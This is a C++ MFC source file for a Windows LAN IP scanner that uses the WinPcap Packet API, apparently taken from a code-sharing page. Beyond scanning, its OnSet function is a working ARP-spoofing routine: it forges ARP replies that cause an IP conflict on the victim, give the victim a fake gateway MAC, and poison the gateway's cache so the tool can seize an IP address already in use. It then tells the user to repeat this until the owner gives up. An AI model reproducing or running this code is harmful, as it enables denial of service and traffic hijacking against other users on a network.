📄 ipscandlg.cpp
字号:
while (pmSend.bContinue)
{
if (PacketReceivePacket(lpadapter,lppacketr,TRUE)==FALSE)
{
if (GetLastError() == 6)
return 1;
AfxMessageBox(_T("PacketReceivePacket error!"), MB_ICONSTOP);
return 1;
}
if (ProcessPacket(lppacketr)) // 接收到一个ARP-REPLY
dwRecvRecent = GetTickCount();
else
{
if (GetTickCount() - dwRecvRecent > 1000)
break;
}
}
PacketFreePacket(lppacketr);
PacketCloseAdapter(lpadapter);
SendMessage(AfxGetMainWnd()->GetSafeHwnd(), WM_ENDSEARCH, NULL, NULL);
return 0;
}
void CIPScanDlg::OnSearch()
{
GetDlgItem(IDC_PROMPT)->SetWindowText(_T("正在搜索..."));
// 通过本地IP和掩码计算IP段
UpdateData(TRUE);
char aBuffer[16];
#ifdef _UNICODE
WCHAR wBuffer[16];
lstrcpy(wBuffer, LPCTSTR(m_strMyIP));
WideCharToANSI(aBuffer, wBuffer);
ULONG ulMyIP = inet_addr(aBuffer);
lstrcpy(wBuffer, LPCTSTR(m_strMask));
WideCharToANSI(aBuffer, wBuffer);
ULONG ulMask = inet_addr(aBuffer);
#else
lstrcpy(aBuffer, LPCTSTR(m_strMyIP));
ULONG ulMyIP = inet_addr(aBuffer);
lstrcpy(aBuffer, LPCTSTR(m_strMask));
ULONG ulMask = inet_addr(aBuffer);
#endif
pmSend.ulStartIP = (ulMyIP & ulMask) + 0x01000000;
pmSend.ulEndIP = ulMyIP | ~ulMask;
pmSend.ulMyIP = ulMyIP;
pmSend.bContinue = TRUE;
if (pmSend.pStatus)
{
delete[] pmSend.pStatus;
pmSend.pStatus = NULL;
}
// 填充列表控件
iHostCount = 0;
m_lcIPList.DeleteAllItems();
for (ULONG ul = pmSend.ulStartIP; ul != pmSend.ulEndIP; ul += 0x01000000, iHostCount++)
{
#ifdef _UNICODE
ULToString(wBuffer, &ul);
m_lcIPList.InsertItem(iHostCount, wBuffer);
#else
ULToString(aBuffer, &ul);
m_lcIPList.InsertItem(iHostCount, aBuffer);
#endif
if (ul == pmSend.ulMyIP)
{
TCHAR szMyMac[18];
_stprintf(szMyMac, _T("%.2x-%.2x-%.2x-%.2x-%.2x-%.2x"),
MACAddress[0],
MACAddress[1],
MACAddress[2],
MACAddress[3],
MACAddress[4],
MACAddress[5]);
m_lcIPList.SetItemText(iHostCount, 1, szMyMac);
m_lcIPList.SetItemText(iHostCount, 2, _T("本机地址"));
}
else
m_lcIPList.SetItemText(iHostCount, 2, _T("无应答"));
}
pmSend.pStatus = new int[iHostCount];
memset(pmSend.pStatus, 0, sizeof(int) * iHostCount);
pmSend.pStatus[ntohl(pmSend.ulMyIP) - ntohl(pmSend.ulStartIP)] = 1;
// 启动搜索线程
_beginthreadex(NULL, 0, SearchIP, NULL, 0, NULL);
// 启动收包线程
_beginthreadex(NULL, 0, PackRecv, NULL, 0, NULL);
}
void CIPScanDlg::GetNetInfo()
{
//////////////////////////////////////////////////////////////////////////
// 得到网卡的MAC地址、网关地址和子网掩码 //
//////////////////////////////////////////////////////////////////////////
LPADAPTER lpAdapter = 0;
int iOpen = ((CIPScanApp *)AfxGetApp())->iOpen;
PPACKET_OID_DATA OidData;
npf_if_addr ipbuff;
LONG npflen = sizeof(ipbuff);
lpAdapter = PacketOpenAdapter((TCHAR *)(AdapterList[iOpen]));
if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
{
MessageBox(_T("Unable to open the adapter!"), _T("Error"), MB_ICONSTOP);
return;
}
OidData = (PPACKET_OID_DATA)malloc(6 + sizeof(PACKET_OID_DATA));
if (OidData == NULL)
{
MessageBox(_T("Error allocating memory!"), _T("Error"), MB_ICONSTOP);
PacketCloseAdapter(lpAdapter);
return;
}
OidData->Oid = OID_802_3_CURRENT_ADDRESS;
OidData->Length = 6;
ZeroMemory(OidData->Data, 6);
BOOL Status = PacketRequest(lpAdapter, FALSE, OidData);
if (Status)
{
memcpy((void *)MACAddress, OidData->Data, 6);
}
else
{
MessageBox(_T("Error retrieving the MAC address of the adapter!"), _T("Error"), MB_ICONSTOP);
}
free(OidData);
PacketCloseAdapter(lpAdapter);
if (PacketGetNetInfoEx((TCHAR *)(AdapterList[iOpen]),&ipbuff,&npflen))
{
m_strMyIP = inet_ntoa(((struct sockaddr_in *)&(ipbuff.IPAddress))->sin_addr);
m_strMask = inet_ntoa(((struct sockaddr_in *)&(ipbuff.SubnetMask))->sin_addr);
UpdateData(FALSE);
}
}
LRESULT CIPScanDlg::OnRefresh(WPARAM wParam,LPARAM lParam)
{
PPARARFR pRFR = (PPARARFR)lParam;
m_lcIPList.SetItemText(pRFR->iIndex, 1, pRFR->sMac);
m_lcIPList.SetItemText(pRFR->iIndex, 2, _T("被占用"));
return LRESULT(0);
}
LRESULT CIPScanDlg::OnEndSearch(WPARAM wParam,LPARAM lParam)
{
// 统计搜索结果
pmSend.bContinue = FALSE;
int iActive = 0;
for (int i = 0; i < iHostCount; i++)
{
if (pmSend.pStatus[i] == 1)
iActive++;
}
CString strPrompt;
strPrompt.Format(_T("找到%d个活动主机,还有%d个主机无应答"), iActive, iHostCount - iActive);
GetDlgItem(IDC_PROMPT)->SetWindowText(strPrompt);
return LRESULT(0);
}
void CIPScanDlg::OnSet()
{
ULONG ulSelectedIP = pmSend.ulStartIP + 0x01000000 * iCurSel;
int iOpen = ((CIPScanApp *)AfxGetApp())->iOpen;
if (ulSelectedIP == pmSend.ulMyIP)
{
MessageBox(_T("选择的IP地址与本地主机重复,请重新选择"), _T("错误"), MB_ICONSTOP);
return;
}
if (!pmSend.pStatus[iCurSel])
{
// 用户选择的IP地址是空闲的
SetLocalIP(AdapterList[iOpen], ulSelectedIP, ~((pmSend.ulStartIP - 0x01000000) ^ pmSend.ulEndIP));
TCHAR szIP[17];
ULToString(szIP, &ulSelectedIP);
CString strMsg = lstrcat(_T("已经成功将本地IP设置为"), szIP);
MessageBox(strMsg, _T("恭喜恭喜"), MB_ICONINFORMATION);
// 更新编辑框
m_strMyIP = szIP;
UpdateData(FALSE);
return;
}
else
{
// 用户选择的IP已经被占据,需要抢IP
// 取得MAC地址
TCHAR szMac[18];
UCHAR ucDstMac[6];
m_lcIPList.GetItemText(iCurSel, 1, szMac, sizeof(szMac));
GetMacFromString(ucDstMac, szMac);
ETHDR eth;
ARPHDR arp;
char sendbuf[42];
LPADAPTER lpadapter = 0;
LPPACKET lppackets = 0;
int iOpen = ((CIPScanApp *)AfxGetApp())->iOpen;
lpadapter = PacketOpenAdapter((TCHAR *)(AdapterList[iOpen]));
if ((lppackets=PacketAllocatePacket()) == FALSE)
{
AfxMessageBox(_T("PacketAllocatePacket error!"), MB_ICONSTOP);
return;
}
// 向目标主机发送IP冲突数据包
// 初始化帧头部
memcpy(eth.eh_dst, ucDstMac, 6);
memcpy(eth.eh_src, MACAddress, 6);
eth.eh_type = htons(ETH_ARP);
// 填充即将发送的ARP包体
arp.arp_hdr=htons(ARP_HARDWARE);
arp.arp_pro=htons(ETH_IP);
arp.arp_hln=6;
arp.arp_pln=4;
arp.arp_opt=htons(ARP_REPLY);
memcpy(arp.arp_sha, eth.eh_src, 6); // 发送端物理地址
arp.arp_spa = ulSelectedIP; // 发送端IP地址
memcpy(arp.arp_tha, eth.eh_dst, 6); // 目的端物理地址
arp.arp_tpa = ulSelectedIP; // 目的端IP地址
memcpy(sendbuf, ð, sizeof(eth));
memcpy(sendbuf + sizeof(eth), &arp, sizeof(arp));
// 发送arp包
PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));
if (PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)
{
AfxMessageBox(_T("PacketSendPacket error!"), MB_ICONSTOP);
return;
}
// 向目标主机发送假的网关地址
// 初始化帧头部
memcpy(eth.eh_dst, ucDstMac, 6);
ucDstMac[5] -= 1;
memcpy(eth.eh_src, ucDstMac, 6);
eth.eh_type = htons(ETH_ARP);
// 填充即将发送的ARP包体
arp.arp_hdr=htons(ARP_HARDWARE);
arp.arp_pro=htons(ETH_IP);
arp.arp_hln=6;
arp.arp_pln=4;
arp.arp_opt=htons(ARP_REPLY);
memcpy(arp.arp_sha, eth.eh_src, 6); // 发送端物理地址
arp.arp_spa = pmSend.ulEndIP - 0x01000000; // 发送端IP地址
memcpy(arp.arp_tha, eth.eh_dst, 6); // 目的端物理地址
arp.arp_tpa = ulSelectedIP; // 目的端IP地址
memcpy(sendbuf, ð, sizeof(eth));
memcpy(sendbuf + sizeof(eth), &arp, sizeof(arp));
// 发送arp包
PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));
if (PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)
{
AfxMessageBox(_T("PacketSendPacket error!"), MB_ICONSTOP);
return;
}
// 向网关发送我要抢的IP地址和我的MAC地址
// 得到网关的MAC地址
m_lcIPList.GetItemText(iHostCount - 1, 1, szMac, sizeof(szMac));
GetMacFromString(ucDstMac, szMac);
// 初始化帧头部
memcpy(eth.eh_dst, ucDstMac, 6);
memcpy(eth.eh_src, MACAddress, 6);
eth.eh_type = htons(ETH_ARP);
// 填充即将发送的ARP包体
arp.arp_hdr=htons(ARP_HARDWARE);
arp.arp_pro=htons(ETH_IP);
arp.arp_hln=6;
arp.arp_pln=4;
arp.arp_opt=htons(ARP_REPLY);
memcpy(arp.arp_sha, eth.eh_src, 6); // 发送端物理地址
arp.arp_spa = ulSelectedIP; // 发送端IP地址
memcpy(arp.arp_tha, eth.eh_dst, 6); // 目的端物理地址
arp.arp_tpa = pmSend.ulEndIP - 0x01000000; // 目的端IP地址
memcpy(sendbuf, ð, sizeof(eth));
memcpy(sendbuf + sizeof(eth), &arp, sizeof(arp));
// 发送arp包
PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));
if (PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)
{
AfxMessageBox(_T("PacketSendPacket error!"), MB_ICONSTOP);
return;
}
// 广播一个数据包,更新局域网内的所有缓存
// 初始化帧头部
memset(eth.eh_dst, 0xFF, 6);
memcpy(eth.eh_src, MACAddress, 6);
eth.eh_type = htons(ETH_ARP);
// 填充即将发送的ARP包体
arp.arp_hdr=htons(ARP_HARDWARE);
arp.arp_pro=htons(ETH_IP);
arp.arp_hln=6;
arp.arp_pln=4;
arp.arp_opt=htons(ARP_REQUEST);
memcpy(arp.arp_sha, MACAddress, 6);
arp.arp_spa = ulSelectedIP;
memset(arp.arp_tha, 0xFF, 6);
arp.arp_tpa = pmSend.ulEndIP;
memcpy(sendbuf, ð, sizeof(eth));
memcpy(sendbuf + sizeof(eth), &arp, sizeof(arp));
// 发送arp包
PacketInitPacket(lppackets,sendbuf,sizeof(eth)+sizeof(arp));
if (PacketSendPacket(lpadapter,lppackets,TRUE)==FALSE)
{
AfxMessageBox(_T("PacketSendPacket error!"), MB_ICONSTOP);
return;
}
PacketFreePacket(lppackets);
PacketCloseAdapter(lpadapter);
MessageBox(_T("请不断重复搜索、设置该IP为本机IP地址直到该IP的拥有者放弃为止^_^"), _T("提示"), MB_ICONINFORMATION);
}
}
void CIPScanDlg::OnClickIPlist(NMHDR* pNMHDR, LRESULT* pResult)
{
iCurSel = m_lcIPList.GetNextItem(-1, LVNI_SELECTED);
if (iCurSel != -1)
GetDlgItem(IDC_SET)->EnableWindow(TRUE);
*pResult = 0;
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -